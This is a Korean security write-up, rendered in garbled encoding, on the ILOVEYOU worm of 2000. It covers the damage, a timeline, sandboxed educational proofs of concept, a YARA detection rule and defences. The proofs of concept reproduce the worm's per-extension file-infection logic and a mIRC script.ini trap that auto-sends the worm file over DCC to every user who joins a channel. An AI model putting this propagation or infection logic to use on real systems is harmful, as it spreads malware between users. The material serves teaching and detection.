- ์ฌํ๊ณตํ: ์ฐ์ ํ ๋ง + ์ง์ธ ๋ฐ์ + ์ผ๊ด๋ ์ ๋ชฉ. ์คํธ ํํฐ๊ฐ '๋ฐ์ ์ ํํ'์ ๋ณด๋ ์์ , ๋ฐ์ ์๋ ๋ด๊ฐ ์๋ ์ฌ๋์ด์๋ค.
- ์ฝ๋์ ๋จ์ํจ: 1KB ๋จ์ง, ์ฌ๋์ด ์ฝ์ ์ ์๋ ํ๋ฌธ. ๋ณ์ข ์ ์ ๋น์ฉ์ด ๊ฑฐ์ 0์ด์๋ค. ์ค์ ๋ก ์ฌ๊ฑด ์งํ ์์ญ ๊ฐ์ ๋ณ์ข ๊ณผ "JOKE", "MOTHER'S DAY", "VIRUS ALERT" ์ ๋ชฉ์ ๋ชจ๋ฐฉํ์ด ์์์ก๋ค.
4. ํผํด ๊ท๋ชจ/์ํฅ โ 2000๋ 5์ 4์ผ์ ์ซ์
- ๊ฐ์ผ ๊ท๋ชจ: ์ฝ 1,000๋ง ๋(์ผ๋ถ ์ง๊ณ ์ต๋ 4,500๋ง ๋), ์ ์ธ๊ณ ์ธํฐ๋ท ์ฐ๊ฒฐ PC์ ์ฝ 10%. 24์๊ฐ ๋ด ํ์ฐ ๊ธฐ์ค์ผ๋ก ๋น์ ์ต๋ ๊ท๋ชจ์๋ค.
- ๊ฒฝ์ ์ ์์ค: ์ฝ 55์ต ๋ฌ๋ฌ(Computer Economics). ์ดํ ์ฌ์ง๊ณ์์๋ 87์ต~100์ต ๋ฌ๋ฌ๊น์ง ์ ์๋๋ค. ์์ค์ ๋๋ถ๋ถ์ ๋ฉ์ผ ์๋ฒ ์ ์งยท๋ณต๊ตฌ ์ธ๊ฑด๋นยท์์ฐ์ฑ ์์ค์ด์๋ค.
- ์ ๋ถยท์ํ: ์๊ตญ ํ์, ๋ด๋งํฌ ์ํ, ์ค์จ๋ด ์ํ, ๋ฏธ๊ตญ CIAยทํํ๊ณค์ด ๋ฉ์ผ ์์คํ ์ ์ฐจ๋จํ๋ค. ํํ๊ณค์ ๋ถ๋ฅ ์์คํ ์ผ๋ถ์ ์ธ๋ถ ์ฐ๊ฒฐ์ ๋ฌผ๋ฆฌ์ ์ผ๋ก ๋ถ๋ฆฌํ๋ค.
- ๊ธฐ์ : ํฌ๋, ๋ค์ฐ์กด์ค, ABC ๋ฐฉ์ก ๋ฑ ๋ค์ ๋๊ธฐ์ ์ด ๋ฉ์ผ์ ์ผ์ ์ค๋จํ๊ณ , ์ผ๋ถ๋ ์์ SMTP๋ฅผ ๋ด๋ ธ๋ค. ์๊ตญ ์ธ๋ก ์ฌ๋ค์ ์ธ๋ถ ๋ฉ์ผ ์์ ์ ์ค๋จํ๊ณ ์ ํ๋ก ๋ด์ค๋ฅผ ์ฃผ๊ณ ๋ฐ์๋ค.
- ๊ธ์ตยท๊ณต๊ณต: ํ๋ฆฌํ ์ฆ๊ถ๊ฑฐ๋์๋ ์์คํ ์ ๋ฉ์ถ๊ณ ์์์ ํธ๊ฐ๋ก ์ ํํ๋ค. ํ์ฝฉยทํธ์ฃผ ์ผ๋ถ ์ํ์ด ์ง์ ์ ๋ฌด๋ฅผ ์ ํํ๋ค.
- 2์ฐจ ํ์ฐ: ์ฌ๊ฑด ๋ค์ ๋ ๋ถํฐ ๋ชจ๋ฐฉ ๋ณ์ข ์ด ํญ๋ฐํ๋ค. "Very Funny", "Mothers Day", "Dangerous Virus" ์ ๋ชฉ์ VBS ์์ด ๊ฐ์ ์ฃผ์ ๋ฑ์ฅํ๊ณ , 2001๋ Anna Kournikova๊ฐ ๊ฐ์ ๋ฌธ๋ฒ์ ์ฌ์ฌ์ฉํ๋ค.
- ์ฐ์
์ ์ํฅ: MS๋ Outlook 2000 SR-1(2000๋
6์)๊ณผ Outlook 2002์์ ์ํ ํ์ฅ์ ์ฒจ๋ถ ์ฐจ๋จ์ ๊ธฐ๋ณธ๊ฐ์ผ๋ก ๋ฃ์๋ค. ๊ธฐ์
๋ฉ์ผ ๊ฒ์ดํธ์จ์ด๋
.vbs .js .wsf .hta .scr .pif์ฐจ๋จ ๋ชฉ๋ก์ ํ์ค ๊ธฐ๋ฅ์ผ๋ก ์ฑํํ๋ค. "์ฒจ๋ถํ์ผ ํ์ฅ์ ์ ์ฑ "์ด๋ผ๋ ๊ฐ๋ ์์ฒด๊ฐ ์ด ์ฌ๊ฑด์ ์ฐ๋ฌผ์ด๋ค. - ๋ฒยท์ ๋: ํ๋ฆฌํ์ RA 8792(์ ์์๊ฑฐ๋๋ฒ)๋ฅผ ์๋๋ฌ ์ ์ ํ๊ณ , ๊ฐ๊ตญ์ด ์ฌ์ด๋ฒ ๋ฒ์ฃ ์ฒ๋ฒ ๊ท์ ์ ์ ๋นํ๋ ๊ณ๊ธฐ๊ฐ ๋๋ค. '์ฒ๋ฒํ ๋ฒ์ด ์์ด ๋ฌด์ฃ'๋ผ๋ ์ฌ๋ก๋ ์ดํ ๊ตญ์ ๊ณต์กฐ(๋ถ๋คํ์คํธ ํ์ฝ) ๋ ผ์์ ๋จ๊ณจ ๊ทผ๊ฑฐ๊ฐ ๋๋ค.
| ์๊ฐ (2000-05-04, UTC ๊ธฐ์ค ๋๋ต) | ์ฌ๊ฑด |
|---|---|
| ์๋ฒฝ | ๋ง๋๋ผ์์ ์ฒซ ์ ํฌ. ํ์ฝฉ ์ฌ์ฉ์๋ค์ด ์ต์ด ๊ฐ์ผ ๋ณด๊ณ |
| ์ค์ | ์ ๋ฝ ์ง์ . ์๊ตญ ํ์ยท๋ด๋งํฌ ์ํ ๋ฉ์ผ ๋ง๋น |
| ์คํ | ๋ฏธ๊ตญ ์ง์ . ํฌ๋ยท๋ค์ฐ์กด์คยทCIAยทํํ๊ณค ๋์. ๋ฐฑ์ ์ ์ฒด ์ ์ ๊ธด๊ธ ๋ฐฐํฌ |
| ๋ฐค | ์ ์ธ๊ณ ISPยท๊ธฐ์
์ด SMTP ์์ ์ฐจ๋จ ๋๋ .vbs ํํฐ ๋์
|
| 5์ 5์ผ~ | ๋ชจ๋ฐฉ ๋ณ์ข ํญ๋ฐ. ๋ฏธ๊ตญยท์๊ตญยทํ๋ฆฌํ ๊ณต์กฐ ์์ฌ ๊ฐ์ |
| 5์ 8์ผ | de Guzman ์ํ ์์. 5์ 21์ผ ๊ธฐ์ ์ทจํ(๋ฒ๋ฅ ๊ณต๋ฐฑ) |
5. PoC โ ๋์ ์๋ฆฌ ์ฌํ (๊ต์ก์ฉยท๋ก์ปฌ ๋ฉ ์ ์ฉ)
/tmp ์๋๋ฐ์ค, ๊ฐ์ ์ฃผ์๋ก)์ ์ ์ ๋ก ํ๋ค. ์ค์ ๋ฉ์ผ ๋ฐ์ก, ํ์ธ ์์คํ
๋์ ์คํ, ์ค์ ์ฃผ์๋ก ์ฌ์ฉ์ ์ ๋ณดํต์ ๋ง๋ฒ ์๋ฐ์ด๋ค. 4๊ฐ์ PoC๋ ๋ชจ๋ "๊ด์ฐฐยท์ธก์ ยทํ์ง"์ ๋ชฉ์ ์ด ์๋ค.
PoC 1 โ ๋๋ ๋ฉ์ผ ํ์ฐ ๋ชจ๋ธ (์ค์ ๋ฐ์ก ์์, ํ๋ฅ ์๋ฎฌ๋ ์ด์ )
์์ด ์ ํ๋ฃจ ๋ง์ ์กฐ์ง ์ ์ฒด๋ฅผ ๋ฎ๋์ง๋ฅผ ์ซ์๋ก ๋ณธ๋ค. ํต์ฌ ๋ณ์๋ ์ฃผ์๋ก ํฌ๊ธฐ ร ์ฒจ๋ถ ์คํ๋ฅ ์ด๋ค. 2000๋ ๊ด์ธก(์ฃผ์๋ก ์์ญ~์๋ฐฑ, ์คํ๋ฅ 20~40%)์ ๊ฐ์ ํ๋ฉด 4~5๋จ๊ณ์์ ํฌํ๋๋ค.
#!/usr/bin/env python3
"""๊ต์ก์ฉ: ILOVEYOU๋ฅ ๋๋ ๋ฉ์ผ ํ์ฐ์ 'ํ๋ฅ ๋ชจ๋ธ'๋ก๋ง ์ฌํํ๋ค.
์ค์ ๋คํธ์ํฌ/๋ฉ์ผ ์ ์ก์ ์ผ์ ์๋ค. ๋ชจ๋ ์์ ์๋ ๊ฐ์ ์ธ๋ฌผ."""
import random
random.seed(20000504)
POP = 50_000 # ๊ฐ์ ์กฐ์ง์ ๋ฉ์ผ ๊ณ์ ์
BOOK = 60 # ํ ๊ฐ์ผ์ ์ฃผ์๋ก ํฌ๊ธฐ (2000๋
๊ธฐ์
์ฌ์ฉ์ ๊ฐ์ )
OPEN_RATE = 0.30 # ์ฒจ๋ถ ์คํ๋ฅ (๊ฐ์ )
STEPS = 10 # ํ์ฐ ๋จ๊ณ (๋ฉ์ผ 1์๋ณต โ ์์ญ ๋ถ)
infected = {0} # ์๋ 1๋ช
(๊ฐ์)
print(f"{'๋จ๊ณ':>4} {'์ ๊ท':>8} {'๋์ ':>8} {'๊ฐ์ผ๋ฅ ':>8}")
for step in range(1, STEPS + 1):
new = set()
for host in infected:
for _ in range(BOOK): # ์ฃผ์๋ก ์ํ
target = random.randrange(POP)
if target not in infected and random.random() < OPEN_RATE:
new.add(target) # ๋๋ธํด๋ฆญ โ ๊ฐ์ผ
infected |= new
print(f"{step:>4} {len(new):>8} {len(infected):>8} "
f"{100*len(infected)/POP:>7.1f}%")
if len(infected) >= POP * 0.9:
print("โ 90% ํฌํ. ๋ฉ์ผ ๊ฒ์ดํธ์จ์ด๊ฐ .vbs๋ฅผ ์ฐจ๋จํ๊ธฐ ์ ๊น์ง ๋ฉ์ถ์ง ์๋๋ค.")
break
ํด์ค: ํ์ฐ์ ๋ฉ์ถ๋ ์ง์ ์ ์์ ๋ฅ๋ ฅ์ด ์๋๋ผ ๋ฐฉ์ด ์ง์ ์ด๋ค. ์คํ๋ฅ ์ 0.30 โ 0.03์ผ๋ก ๋ฎ์ถ๊ธฐ๋ง ํด๋(ํ์ฅ์ ํ์ + ์ฒจ๋ถ ์ฐจ๋จ) ํฌํ ๋จ๊ณ๊ฐ 3~4๋จ๊ณ ๋ค๋ก ๋ฐ๋ฆฐ๋ค. ์ค์ 2000๋
5์ 4์ผ ๋ฐค, ์ ์ธ๊ณ ๊ฒ์ดํธ์จ์ด๊ฐ .vbs๋ฅผ ์ฐจ๋จํ ์๊ฐ ๊ณก์ ์ด ๊บพ์๋ค.
PoC 2 โ ํ์ผ ๊ฐ์ผ ๋ฉ์ปค๋์ฆ (์๋๋ฐ์ค ํ์ ยท ์๋ณธ ๋ณด์กดํ ์คํ )
์์ infectfiles()๊ฐ ํ์ฅ์๋ณ๋ก ๋ค๋ฅด๊ฒ ๋์ํ๋ค๋ ์ ์ ๊ฐ์ญ์ ์ผ๋ก ์ฌํํ๋ค. ์ค์ ์์ JPG/MP3 ์๋ณธ์ ์ญ์ ํ์ง๋ง, ์ฌ๊ธฐ์๋ ์๋ณธ์ ์จ๊น ์ด๋ฆ์ผ๋ก ์ฎ๊ธฐ๊ณ ์คํ
๋ง ๋ฐฐ์นํด "์ ์ด๋ค ํ์ผ์ ๋ณต๊ตฌ๋๊ณ ์ด๋ค ํ์ผ์ ๋ณต๊ตฌ๋์ง ์๋์ง"๋ฅผ ์ฒดํํ๋ค. /tmp ๋ฐ์์๋ ์ ๋ ์คํ๋์ง ์๋๋ก ๊ฐ๋๋ฅผ ๋๋ค.
#!/usr/bin/env python3
"""๊ต์ก์ฉ ํ์ผ ๊ฐ์ผ ๋ฉ์ปค๋์ฆ ์ฌํ โ /tmp ์๋๋ฐ์ค ์ ์ฉ, ํ๊ดด ์์."""
import os, shutil
from pathlib import Path
LAB = Path("/tmp/loveletter_lab")
assert str(LAB).startswith("/tmp/"), "๋ฉ ๋๋ ํฐ๋ฆฌ ๋ฐ์์๋ ์คํ ๊ธ์ง"
(LAB / "docs").mkdir(parents=True, exist_ok=True)
# ๊ฐ์ ํผํด ํ์ผ ์์ฑ (์ค์ ์ฌ์ฉ์ ๋ฐ์ดํฐ ์๋)
for n in ["photo.jpg", "song.mp3", "index.html", "note.vbs"]:
(LAB / "docs" / n).write_text(f"<๊ฐ์ ์๋ณธ: {n}>", encoding="utf-8")
STUB = "# (๊ต์ก์ฉ ์คํ
) ์ค์ ๋ก๋ ์ฌ๊ธฐ์ ์ ๋ณธ๋ฌธ์ด ๋ค์ด๊ฐ๋ค\n"
def infect(p: Path) -> str:
ext = p.suffix.lower()
if ext in {".vbs", ".vbe"}: # ๋ฎ์ด์ฐ๊ธฐ โ ๋ณต๊ตฌ ๋ถ๊ฐ
p.write_text(STUB, encoding="utf-8"); return f"{p.name}: ๋ฎ์ด์(์๋ณธ ์์ค)"
if ext in {".jpg", ".jpeg", ".mp3", ".mp2"}: # ์๋ณธ ์๋ + ์คํ
(๊ฐ์ญ ๋ณํ)
hidden = p.with_name(p.name + ".orig")
p.rename(hidden)
p.with_name(p.name + ".vbs").write_text(STUB, encoding="utf-8")
return f"{p.name}: ์๋ณธโ{hidden.name}, {p.name}.vbs ์์ฑ"
if ext in {".html", ".htm"}: # ์ถ๊ฐ(append) โ ์๋ณธ ๋ณด์กด
with p.open("a", encoding="utf-8") as f:
f.write("\n\n")
return f"{p.name}: ๋์ ์คํฌ๋ฆฝํธ ์ถ๊ฐ(์๋ณธ ๋ณด์กด)"
return f"{p.name}: ๋์ ์๋"
for f in sorted((LAB / "docs").iterdir()):
print(infect(f))
print("\n[๋ณต๊ตฌ] note.vbs๋ ์๋ณธ์ด ์ฌ๋ผ์ก๊ณ , photo.jpg๋ .orig๋ก ๋จ์ ์๋ค:",
sorted(x.name for x in (LAB / "docs").iterdir()))
ํด์ค: ์ด ํ ํ๋๊ฐ 2000๋
์ ํผ๋์ ์ค๋ช
ํ๋ค. ๊ฐ์ ์์ ๊ฐ์ผ๋์ด๋ ์ฌ์ง์ ์ฌ๋ผ์ง๊ณ HTML์ ๋จ์๋ค. ๋ฐฑ์ ์
์ฒด๊ฐ "๋ณต๊ตฌ ๋๊ตฌ"๋ฅผ ๋ฐฐํฌํ ์ ์์๋ ๊ฒ๋, HTML/VBS ๊ณ์ด์ด ์๋ณธ์ ๋ณด์กดํ ์ฑ ์ฝ๋๋ง ๋ง๋ถ์๊ธฐ ๋๋ฌธ์ด๋ค. ๋ฐ๋๋ก .vbs๋ก ๋ฎ์ธ ํ์ผ์ ๋๋๋ฆด ์ ๋ณด๊ฐ ์์๋ค.
PoC 3 โ mIRC script.ini DCC ํธ๋ฉ (ํ์ผ ์์ฑ๊น์ง๋ง, ๋คํธ์ํฌ ์์)
IRC ์ ํ๊ฐ ์ '์ฌ๋ ์์ ์ ๊ณฑ'์ด ๋๋์ง ํ์ธํ๋ค. ์๋๋ ๋ฉ ํด๋์ ํ ์คํธ ํ์ผ์ ํ๋ ์ธ ๋ฟ์ด๋ฉฐ, mIRC๋ฅผ ์ค์นยท์คํํ์ง ์๋๋ค.
#!/usr/bin/env python3
"""๊ต์ก์ฉ: mIRC script.ini ์๋ ์ ์ก ํธ๋ฉ์ 'ํํ'๋ง ์ฌํํ๋ค.
mIRC๊ฐ ์ค์น๋ผ ์์ง ์์ ๋ฉ์์, ์ด๋ค ํ์ผ์ด ์ ์ํํ์ง๋ง ๊ด์ฐฐํ๋ค."""
from pathlib import Path
LAB = Path("/tmp/loveletter_lab"); LAB.mkdir(exist_ok=True)
TRAP = LAB / "script.ini"
TRAP.write_text(
"[script]\n"
"n0=on 1:JOIN:#:{\n"
"n1= /if ( $nick == $me ) { halt }\n"
"n2= /.dcc send $nick /LOVE-LETTER-FOR-YOU.HTM\n"
"n3=}\n", encoding="utf-8")
print("์์ฑ:", TRAP)
print("โ mIRC๋ ์ด ํ์ผ์ ์๋ ๋ก๋ํ๋ค. ์ดํ ์ฑ๋ ์
์ฅ๋ง๋ค ์ฐธ๊ฐ์ ์ ์์๊ฒ DCC ์ ์ก.")
print("โ ์ฑ๋ ์ธ์ N๋ช
์ด๋ฉด 1ํ ์
์ฅ = N๊ฑด ์ ์ก ์๋. ๊ฐ์ผ์๊ฐ ๋๋ฉด NรM์ผ๋ก ํญ๋ฐ.")
print("\n[ํ์ง ํฌ์ธํธ] mirc.ini๊ฐ ์๋ ํด๋์ script.ini๊ฐ '์๋ก' ์๊ธฐ๊ณ ")
print(" ๋ณธ๋ฌธ์ '.dcc send' + ์ธ๋ถ ์คํํ์ผ/์คํฌ๋ฆฝํธ ๊ฒฝ๋ก๊ฐ ์์ผ๋ฉด ์ฆ์ ์์ฌ.")
ํด์ค: IRC ์ ํ์ ๋ณธ์ง์ "์ ์ฅ ์ด๋ฒคํธ = ๋ฐ์ก ํธ๋ฆฌ๊ฑฐ"๋ค. ์ฌ์ฉ์๋ ์๋ฌด๊ฒ๋ ํ์ง ์๋๋ฐ, ์ฑ๋์ ๋ค์ด๊ฐ๋ ํ์ ์์ฒด๊ฐ ๋ฐฐํฌ ํ์๊ฐ ๋๋ค. ์ค๋๋ Discord/Slack ๋ด ํ ํฐ ํ์ทจ๋ ์ํ ํ์ฐ(์: 2024๋ Discord CDN ์ ์ฉ ์บ ํ์ธ)๋ ๊ฐ์ ๋ฌธ๋ฒ์ ์ด๋ค โ "๋ด๊ฐ ์ํ ๊ณต๊ฐ์ ๋ชจ๋ ๊ตฌ์ฑ์์๊ฒ ์๋ ์ ์ก".
PoC 4 โ YARA ํ์ง ๋ฃฐ (๋ฐฉ์ด ์ธก)
ILOVEYYOU๋ ์ฝ๋๊ฐ ํ๋ฌธ์ด๋ฏ๋ก ๋ฌธ์์ด ๊ธฐ๋ฐ ํ์ง๊ฐ ๋งค์ฐ ํจ๊ณผ์ ์ด์๋ค. ์๋๋ ๊ณต๊ฐ ๋ถ์ ์๋ฃ์ ๋ฑ์ฅํ ์งํ(์ฃผ์ ๋ฌธ๊ตฌยท์ฒจ๋ถ ์ด๋ฆยท๋ฉ์ผ ๋ณธ๋ฌธยท์์ฃผ ํ์ผ๋ช
)๋ฅผ ์กฐํฉํ ๊ต์ก์ฉ ๋ฃฐ์ด๋ค. 2 of them ์กฐ๊ฑด์ผ๋ก ์คํ์ ์ค์๋ค.
rule VBS_LoveLetter_ILOVEYOU_Markers
{
meta:
description = "ILOVEYOU / LoveLetter VBS mass-mailer ์งํ (๊ต์ก์ฉ)"
author = "security-lab"
date = "2026-10-22"
reference = "https://en.wikipedia.org/wiki/ILOVEYOU"
scope = "file"
strings:
$hdr1 = "barok -loveletter(vbe)" ascii nocase
$hdr2 = "i hate go to school" ascii nocase
$hdr3 = "GRAMMERSoft Group" ascii nocase
$att = "LOVE-LETTER-FOR-YOU" ascii nocase
$body = "kindly check the attached LOVELETTER coming from me." ascii nocase
$drop1 = "MSKernel32.vbs" ascii nocase
$drop2 = "Win32DLL.vbs" ascii nocase
$drop3 = "WIN-BUGSFIX.exe" ascii nocase
$mirc = "script.ini" ascii nocase
condition:
filesize < 30KB and 2 of them
}
ํด์ค: ์ค์ ์ด์์์๋ ํ์ผ ๋ฃฐ๊ณผ ํจ๊ป โ wscript.exe๊ฐ ๋ฉ์ผ ํด๋ผ์ด์ธํธยท๋ธ๋ผ์ฐ์ ๋ฅผ ์์ ํ๋ก์ธ์ค๋ก ์์ฑํ๋ ํ์(์์๋ฃฉ COM ์๋ํ), โก HKCU\Software\Microsoft\WAB\ ํค์ ๋น์ ์ ๋ค๋ ์ฐ๊ธฐ, โข Start Page ๊ฐ์ด .exe URL๋ก ๋ณ๊ฒฝ๋๋ ์ด๋ฒคํธ๋ฅผ ์๊ด ๋ถ์ํ๋ค. ๋จ์ผ ์งํ๋ ์คํ์ด ๋ง์ง๋ง, ์คํฌ๋ฆฝํธ ์คํ + ๋๋ ๋ฐ์ก + ์์ ํ์ด์ง ๋ณ๊ฒฝ์ด ๊ฒน์น๋ฉด ํ์ ๋๊ฐ ๊ธ๋ฑํ๋ค.
6. ๋ฐฉ์ด ๋ฐฉ๋ฒ โ 2000๋ ์ ๋ต, ๊ทธ๋ฆฌ๊ณ ์ค๋์ ๋ต
6.1 ์ฆ์ ์กฐ์น (๋น์ ๊ธฐ์ค)
- ์ฒจ๋ถ ์ฐจ๋จ: ๋ฉ์ผ ๊ฒ์ดํธ์จ์ด์์
.vbs .vbe .js .jse .wsf .hta .scr .pif๋ฅผ ์ฐจ๋จ. 2000๋ 5์ 4์ผ ๋ฐค ์ค์ ๋ก ํ์ฐ์ ๊บพ์ ์กฐ์น๋ค. - ํ์ฅ์ ํ์: ํด๋ ์ต์ ์์ '์๋ ค์ง ํ์ผ ํ์์ ํ์ฅ๋ช ์จ๊ธฐ๊ธฐ' ํด์ . ๊ต์ก๋ณด๋ค ํจ๊ณผ๊ฐ ์ฆ๊ฐ์ ์ด์๋ค.
- WSH ๋นํ์ฑํ: ์
๋ฌด์ ๋ถํ์ํ PC๋
wscript.exe/cscript.exe์คํ์ ์ฐจ๋จ(SRP/AppLocker). - ์์๋ฃฉ ๋ณด์ ์ค์ : ํ๋ก๊ทธ๋๋ฐ ๋ฐฉ์(COM) ์ก์ธ์ค ์ฐจ๋จ, ์ฃผ์๋ก ์ ๊ทผ ์ ์ฌ์ฉ์ ํ์ธ. Outlook 2000 SR-1 ์ดํ ๊ธฐ๋ณธ๊ฐ์ด ๋๋ค.
- ๊ฐ์ผ ์์ฌ ์: ๋์ ๋ถ๋ฆฌ โ
MSKernel32.vbs/Win32DLL.vbs๋ฐRunยทRunServicesํค ์ ๊ฑฐ โscript.ini์ญ์ โ IE ์์ ํ์ด์ง ๋ณต๊ตฌ โ ๋ฐฑ์ ์ ์ฒด ๊ฒ์ฌ โ ํจ์น๊ฐ ์๋๋ผ '์ค์ '์ ๋จผ์ ๊ณ ์น๋ค.
6.2 ์ค๋๋ ์ ๊ด์
- ์คํฌ๋ฆฝํธ ์คํ ์์ฒด๋ฅผ ๊ณต๊ฒฉ๋ฉด์ผ๋ก ๋ณธ๋ค:
.vbs .js .hta .wsf .lnk .iso๋ ์ฌ์ ํ ์ต๋ค ์ ํฌ ํฌ๋งท์ด๋ค. Windows 11์ WSH ๊ธฐ๋ณธ ๋นํ์ฑํยทMark-of-the-WebยทASR ๊ท์น(Office ์์ ํ๋ก์ธ์ค ์ฐจ๋จ, ์คํฌ๋ฆฝํธ ์คํ ์ฐจ๋จ)์ ์ด ๊ณ๋ณด์ ์ฐ์ฅ์ด๋ค. - ๋ฉ์ผ ์ธ์ฆ 3์ข : SPFยทDKIMยทDMARC๋ '์ง์ธ ๋ฐ์ ' ์์ฅ์ ์ค์ธ๋ค. ๋ค๋ง ILOVEYOU๋ ์ง์ง ์ง์ธ ๊ณ์ ์์ ๋์์ผ๋ฏ๋ก 100% ๋ฐฉ์ด๋ ์๋๋ค โ ๋ด๋ถ ๋ฐ์ ์ด์ ํ์ง(ํ ์ฌ์ฉ์๊ฐ 1์๊ฐ์ 500ํต)๊ฐ ํ์ํ๋ค.
- ์ด๊ทธ๋ ์คยทํ์ ๊ธฐ๋ฐ ํ์ง: "์๋ํ๋ก์ธ์/์คํฌ๋ฆฝํธ ํธ์คํธ๊ฐ ๋ฉ์ผ ํด๋ผ์ด์ธํธ๋ฅผ ์กฐ์"ํ๋ ํ์๋ ์ ์ ์ ๋ฌด์ ๊ฑฐ์ ์๋ค. EDR์ ํ๋ก์ธ์ค ํธ๋ฆฌ ๋ฃฐ ํ๋๋ก ์กํ๋ ํจํด์ด๋ค.
- ๋งคํฌ๋ก/์คํฌ๋ฆฝํธ ์ ์ฑ ์ ์ผ๊ด์ฑ: ์ฌ์ฉ์๋ณ ์์ธ๋ฅผ ํ์ฉํ๋ฉด ์์ ๊ทธ ์์ธ๋ฅผ ์ฐพ์๊ฐ๋ค. 2000๋ ์๋ 2026๋ ์๋ ๊ฐ๋ค.
- ํ์ฐ ๋ชจ๋ธ๋ก ๋๋นํ๋ค: PoC 1์ฒ๋ผ ๋ด ์กฐ์ง์ ์ฃผ์๋ก ๊ตฌ์กฐยท์คํ๋ฅ ๋ก ํ์ฐ ์๋ฎฌ๋ ์ด์ ์ ๋๋ ค๋ณด๋ฉด, "์ฐจ๋จ ์ ์ฑ 1๊ฐ๊ฐ ๋ช ์๊ฐ์ ๋ฒ๋์ง"๋ฅผ ์ ๋ํํ ์ ์๋ค. ์ด๋ ๋์ฌ์จ์ด ๋์ํ๋ จ(Tabletop)์๋ ๊ทธ๋๋ก ์ฐ์ธ๋ค.
- ๋ฒยท์ ๋๋ ๋ฐฉ์ด๋ค: ์ฒ๋ฒ ๊ท์ ์ด ์์ผ๋ฉด ์์ฌ๊ฐ ๋ถ๊ฐ๋ฅํ๊ณ , ์์ฌ๊ฐ ์์ผ๋ฉด ์ต์ง๋ ฅ๋ ์๋ค. ํ๋ฆฌํ์ ๋ฒ ๊ณต๋ฐฑ์ '๊ธฐ์ ์ด ๋ฒ๋ณด๋ค ๋จผ์ ๊ฐ ๋'์ ๋น์ฉ์ ๋ณด์ฌ์ค ์ฌ๋ก๋ค.
7. ๊ตํ โ ILOVEYOU๊ฐ ๋จ๊ธด ๋ค ๊ฐ์ง
- ์ทจ์ฝ์ ์ด ์์ด๋ ๋๊ท๋ชจ ์นจํด๋ ๊ฐ๋ฅํ๋ค. ์ต์คํ๋ก์ 0๊ฐ, ๋ฉ๋ชจ๋ฆฌ ์์ 0๊ฑด. ์ ์ API(COM)์ ์ ์ ๊ธฐ๋ฅ(์ฃผ์๋กยทํ์ผ ๋ณต์ฌยทIRC ์คํฌ๋ฆฝํธ)๋ง์ผ๋ก 1,000๋ง ๋๊ฐ ๊ฐ์ผ๋๋ค. ์ค๋๋ ์ ํผ์ฑยท๊ณ์ ํ์ทจยทBEC๊ฐ ๊ฐ์ ๊ณ๋ณด๋ค.
- UI๊ฐ ๊ณง ๋ณด์ ์ ์ฑ ์ด๋ค. ํ์ฅ์๋ฅผ ์จ๊ธฐ๋ ๊ธฐ๋ณธ๊ฐ ํ๋๊ฐ 'ํ ์คํธ ํ์ผ'์ '์คํ ํ์ผ'๋ก ์์ฅ์์ผฐ๋ค. ๊ธฐ๋ณธ๊ฐ(default)์ ์ฌ์ฉ์์ ํ๋จ์ ๋์ ํ๋ค.
- ์ ๋ขฐ ๊ด๊ณ๋ ๊ณต๊ฒฉ ํ๋ฉด์ด๋ค. ์ฃผ์๋กยท์ฑ๋ยท๊ณต์ ํด๋๋ '์ด๋ฏธ ์ธ์ฆ๋ ๋คํธ์ํฌ'๋ค. ์ ๋กํธ๋ฌ์คํธ๊ฐ ๋ฑ์ฅํ ์ด์ ๋ฅผ 2000๋ ์ ์ด ์์ด ์ด๋ฏธ ์ฆ๋ช ํ๋ค.
- ๋ฒ์ ๊ณต๋ฐฑ์ ํผํด๋ฅผ ๋ ๋ฐฐ๋ก ๋ง๋ ๋ค. 5์ 4์ผ์ ๊ฐ์ผ๋ณด๋ค, 5์ 21์ผ์ ๊ธฐ์ ์ทจํ๊ฐ ๋ ์ค๋ ํ์๋๋ค. ์ฌ๊ณ ๋์์๋ ๊ธฐ์ ยท์กฐ์งยท๋ฒ ์ธ ์ถ์ด ๋ชจ๋ ํ์ํ๋ค.
์ถ์ฒ ๋ฐ ํจ๊ป ์ฝ๊ธฐ
- Wikipedia โ ILOVEYOU โ ์ฌ๊ฑด ์ฐํยท๊ฐ์ผ ๊ท๋ชจยท๋ฒ์ ๊ฒฐ๋ง
- FBI โ The "Love Bug" Virus โ ์์ฌ ๊ฒฝ๊ณผ์ ๊ตญ์ ๊ณต์กฐ
- Microsoft Defender โ VBS/Loveletter โ ํ์ฅ์๋ณ ๊ฐ์ผ ๋์ยท๋ ์ง์คํธ๋ฆฌ ํ์
- BBC News โ ILOVEYOU: The virus that changed the world (10์ฃผ๋ ํ๊ณ )
- The Guardian โ 'I could have done worse': ILOVEYOU 20๋ ํ ์ธํฐ๋ทฐ
- Microsoft TechNet โ Outlook ์ ์ ๋ฉ์ผ ๋ณด์ ์ ๋ฐ์ดํธ(์ฒจ๋ถ ์ฐจ๋จ ์ ์ฑ )
- ํจ๊ป ์ฝ๊ธฐ: Melissa (1999) ยท Code Red (2001) ยท Zeus / Zbot (2007) ยท Emotet (2014โ2021)